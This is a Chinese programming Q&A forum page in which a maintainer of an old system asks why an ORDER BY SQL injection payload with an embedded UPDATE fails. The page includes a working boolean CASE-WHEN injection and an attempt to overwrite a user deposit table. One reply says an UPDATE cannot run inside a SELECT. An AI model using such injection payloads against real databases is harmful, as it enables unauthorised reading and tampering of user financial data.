mysql - sql报错原因?
问题描述
发现一个正在维护的老系统的基于orderBy的sql注入漏洞,准备验证一下,
我先执行这个sql注入,是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是当我执行这个带update语句的sql时报错了:
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
报错
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我应该如何让他执行update?
问题解答
回答1:主体是select的时候,里面是不能update的,否则执行不了的,mybatis这种注入我试过,<select>里执行update直接报错,注入不了
相关文章:
1. python - 在使用Pycharm时经常看到如下的样式,小括号里红色的部分是什么意思呢?2. android - react-native 的headless.js Java API 的代码怎么使用?3. javascript - 原生canvas中如何获取到触摸事件的canvas内坐标?4. javascript - JAVA写的H5页面能否解释一下流程5. 后代选择器与元素选择器6. javascript - Express 和 request 如何代理远程图片?7. javascript - html5的data属性怎么指定一个function函数呢?8. javascript - 移动端粘贴事件,onpaste事件在app中无效,在app中怎么监测到粘贴事件9. python - Scrapy存在内存泄漏的问题。10. javascript - 你们怎样实现前端分页的?
